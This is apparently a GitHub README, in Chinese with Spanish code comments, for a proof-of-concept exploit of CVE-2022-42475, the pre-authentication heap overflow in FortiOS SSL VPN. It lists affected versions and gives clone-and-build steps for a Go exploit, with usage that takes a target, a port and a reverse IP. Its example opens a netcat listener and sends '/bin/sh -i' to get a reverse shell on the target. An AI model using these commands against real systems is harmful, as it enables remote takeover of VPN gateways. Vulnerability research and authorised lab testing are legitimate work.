CVE-2022-42475 PoC

Fortinet SSL VPN 预认证远程代码执行

描述

CVE-2022-42475 是 FortiOS SSL VPN 服务中的一个基于堆的缓冲区溢出漏洞，允许未认证的攻击者通过向 /remote/error 端点发送特制的 HTTP 请求来远程执行任意代码（RCE）。

该漏洞在官方补丁发布之前已被在野积极利用（0-day）。

PoC 执行

以下截图展示了在授权实验室环境中执行 PoC 的画面：

输出展示了 PoC 的执行过程以及与用于测试的 FortiOS 实例的交互。

CVE 信息

受影响版本

• FortiOS 7.2.0–7.2.2
• FortiOS 7.0.0–7.0.8
• FortiOS 6.4.0–6.4.10
• FortiOS 6.2.0–6.2.11
• FortiOS 6.0.0–6.0.15
• FortiOS 5.6.0–5.6.14
• FortiOS 5.4.0–5.4.13
• FortiOS 5.2.0–5.2.15
• FortiOS 5.0.0–5.0.14

要求

• Go 1.18+（用于编译 PoC）
• 可通过网络访问目标主机的 443 端口（或配置的 SSL VPN 端口）
• 授权实验室环境用于执行测试

编译

# Clonar o descargar el código fuente
git clone https://github.com/uLl0a/cve-2022-42475-poc
cd cve-2022-42475-poc

# Compilar
go build -o exploit exploit.go

# O ejecutar directamente
go run exploit.go <target> <port> <reverse_ip> <params>

用法

./exploit <target_host> <target_port> <reverse_ip> <param1> [param2...]

示例

# En el atacante, iniciar listener
nc -lvnp 80

# Ejecutar el exploit
./exploit 192.168.1.100 443 10.0.0.5 /bin/sh -i